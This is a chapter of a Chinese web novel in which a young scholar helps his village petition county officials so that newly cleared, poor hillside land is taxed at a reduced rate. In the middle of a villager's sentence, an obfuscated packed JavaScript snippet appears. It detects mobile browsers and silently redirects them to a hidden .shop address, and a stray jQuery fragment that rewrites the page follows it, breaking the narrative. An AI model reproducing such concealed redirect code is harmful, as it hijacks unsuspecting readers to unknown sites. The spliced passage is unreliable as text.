86.鱼鳞册

作品:《科举之寒门弟子六元及第

    赵记糖饼铺子的生意日渐稳当,每日的流水账记得清清楚楚,旬结月结分毫不乱。铁柱如今拨起算盘来已有模有样,赵婶脸上的笑容也多了,连带着铁柱家的日子都松快了不少。村里人见了,羡慕之余,也越发敬重林湛——都说这林家小子不仅书读得好,连做买卖帮衬人都有一套。


    转眼开了春,县衙又开始了一年一度的钱粮征收筹备。这日,林湛正在县学温书,王砚之匆匆找来,面色有些凝重。


    “林兄,家父让我转告,今年府衙下了文书,要求核实各乡里田亩,尤其是新垦荒地、水冲沙压地的变动情况,以便‘均平赋役’。县里已派书吏下乡勘查。咱们林家村……恐怕有些麻烦。”


    林湛放下书卷:“什么麻烦?”


    王砚之压低声音:“咱们村后山那片缓坡,这些年陆陆续续开出了百十亩旱地,种些豆子杂粮。这些地当初开垦时,并未正式登记入册,赋税一直按旧册缴纳,本就偏轻。如今要重新清丈核实,若按实有亩数加征,只怕不少人家负担不起。村里几位族老已经急得团团转,听说……还想凑钱去打点勘查的书吏。”


    林湛眉头微皱。他记得那片坡地,土薄石多,收成本就不稳,若再加重赋税,村民日子更难。打点书吏更是下策,且不说能否成功,一旦事发,反成把柄。


    “砚之兄,令尊那边可有消息?此次清丈,是普例,还是有所侧重?”林湛问。


    “家父说,应是普例。杨县尊对此事颇为重视,要求‘务求实在,毋得欺隐’。勘查的书吏是户房陈经承带队,此人还算本分,但……”


    “但若按章办事,咱们村那些隐田就藏不住了。”林湛接口道。他沉吟片刻,“砚之兄,能否请你向王叔打听两件事:其一,往年此类清丈,对新垦贫瘠之地,可有酌情减等的成例?其二,咱们村在鱼鳞册上登记的田亩总数、等则,与邻近条件相仿的村子相比,是高是低?”


    王砚之点头:“我回去就问。”


    三日后,王砚之带来了消息。“家父查了,按《赋役全书》,新垦荒地,三年后起科,可酌情减等。水冲沙压地,若能复垦,亦可申请减免。至于田亩等则……”他拿出一张抄录的简表,“咱们村在册田亩中,中田、下田居多,上田极少。与邻近孙家洼、李家沟相比,咱们村在册田亩总数偏少,但等则构成相似。家父说,若能将那些新垦坡地,争取按‘新垦下田’甚至‘新垦荒地’减等起科,或可减轻不少。但需有凭据,证明那些地确属新垦、且贫瘠。”


    林湛心中有了底。他请了假,带着铁柱回了村。先去找了族长和几位族老。


    族长正为这事愁得吃不下饭,见林湛回来,如同见了救星:“湛哥儿,你可回来了!这事你可得出个主意!真要按实有亩数加征,咱村得出多少冤枉粮啊!”


    林湛安抚道:“族长莫急。此事关键,不在隐瞒,而在如何‘认定’。那些坡地确是近年新垦,土质贫瘠,若硬充作熟田良田加征,于理不合,于情有亏。咱们需拿出证据,向县衙陈情,争取按‘新垦贫瘠之地’的例,减等起科。”


    “证据?啥证据?”一位族老问。


    “开垦年份、地力实情,便是证据。”林湛道,“可召集垦地各户,回忆大致开垦年份,画出地块方位草图。再取些坡地土壤样本,与村里熟田土壤对比,一看便知肥瘠。此外,咱们村在册田亩本就不多,等则偏低,赋役负担相对邻村已是不轻,此情亦可一并陈明。”


    族长将信将疑:“这能行?官府能听咱们的?”


    林湛道:“杨县尊行事公正,重视实情。只要咱们证据扎实,陈情合理,未必不能通融。总好过冒险行贿,授人以柄。”


    族老们商量一番,觉得林湛说得在理,便分头去办。垦地农户听说秀才老爷要为大家出头,纷纷响应,很快凑齐了各家垦地的大致年份和方位。林湛又让铁柱带人在坡地和村边熟田各取了几份土样,用布包好,标注清楚。


    林湛自己则根据王砚之提供的资料,制作了一份简明的对比表:左侧列林家村在册田亩总数、各等则亩数、人均负担;右侧列邻近孙家洼、李家沟的对应数据。数据显示,林家村人均田亩数确实偏少,中下田比例更高。


    证据齐备,林湛起草了一份陈情书。先陈述林家村田土贫瘠、生计艰难之现状;再说明后山坡地系近年村民为求生计,辛劳开垦,地力瘠薄,产量不稳;接着引用《赋役全书》关于新垦荒地减等起科的条文;最后附上垦地年份草图、土壤样本说明、以及与本村及邻村田亩赋役的对比数据。陈情书言辞恳切,数据清晰,有理有据。


    陈情书由族长和几位族老联名,林湛以生员身份附议。林湛又请王砚之通过其父,将陈情书直接递到了户房陈经承和杨知县案头。


    勘查书吏进村那日,气氛紧张。陈经承是个面容严肃的中年人,带着两个书办,先按鱼鳞册核对在册田亩。轮到后山坡地时,族长按照林湛事先的嘱咐,没有隐瞒,而是主动引领陈经承实地查看,并呈上陈情书及各项证据。


    陈经承仔细看了坡地土质,又对比了熟田土壤,眉头紧锁。他翻阅陈情书,目光在那份清晰的对比数据上停留良久,又看了看那些标注着“某年开垦”“土多石少”的简陋草图。


    “这些地……确是新垦?”陈经承问。


    “回老爷,千真万确。”族长躬身道,“都是这几年,大家伙儿一口一口啃出来的。您看这土,薄得很,下面尽是碎石,种点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186810|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    豆子都勉强。”


    陈经承沉吟不语。他办过不少清丈,常见的是乡民千方百计隐瞒田亩,像这样主动呈报、又拿出证据请求减等的,倒是少见。陈情书中的数据对比,也让他对林家村的实际负担有了更直观的了解。


    “此事,本官需回禀县尊定夺。”陈经承最终道,“但尔等能据实以告,且陈情有据,本官自会如实禀明。”


    数日后,县衙批文下达:林家村后山新垦坡地,经勘查属实,准予按“新垦下田”减等起科,每亩赋税仅为熟田之四成。且因林家村在册田亩本少质劣,本年春税总额不予增加,维持旧额。


    消息传来,全村沸腾。族长老泪纵横,对着祠堂方向连连作揖:“祖宗保佑!湛哥儿给咱们村立了大功了!”


    原本可能要倾家荡产凑钱加税的人家,更是对林湛感激涕零。有提着鸡蛋来的,有扛着半袋新磨玉米面来的,都被王氏和林大山好说歹说劝了回去。最后族长发话,各家凑份子,在祠堂摆了两桌酒菜,非要请林湛一家和几位族老吃饭。


    席间,村民们轮番向林湛敬酒——当然,林湛以茶代酒。言辞朴拙,却情意真挚。


    “湛哥儿,要不是你,我家那几亩坡地,今年就得卖牛交税了!”


    “秀才老爷就是不一样!懂道理,会说话,还能让县太爷听进去!”


    “往后咱们村有事,还得靠湛哥儿!”


    铁柱坐在林湛旁边,与有荣焉,咧着嘴笑,比他自己受了夸奖还高兴。


    族长端着酒碗,颤巍巍走到林湛面前:“湛哥儿,你这回,可是给全村人省下了活命钱。这份恩情,大伙儿记在心里。往后在村里,你家的事,就是全村的事!”


    林湛起身,恭敬道:“族长言重了。湛是林家村人,饮水思源,能为乡亲们尽点心力,是应当的。此次能成,也多赖各位长辈据实配合,王书吏从中转圜,杨县尊体恤下情。咱们往后更需勤勉本分,按时完粮纳税,方不负县尊体恤。”


    这话说得周到,既不自居其功,又提醒大家守本分。众人连连称是。


    宴散人静,林湛踏着月色回家。新房的屋檐下,燕子已归来筑巢,呢喃细语。院中那对楣杆在月光下投下长长的影子,静谧而安稳。


    王氏还没睡,等着儿子,见他回来,轻声道:“湛儿,今日乡亲们那些话,娘听了,心里又高兴,又……又有些怕。你如今是秀才,大伙儿指望你,你可更要步步踏实,不能行差踏错。”


    林湛扶着母亲坐下:“娘,我晓得。帮村里争税减,是尽本分,也是积德。但咱们不能因此觉得有什么特权,更不可张扬。往后该怎样还怎样。”


    林大山在旁点头:“你娘说得对。低调,稳当。”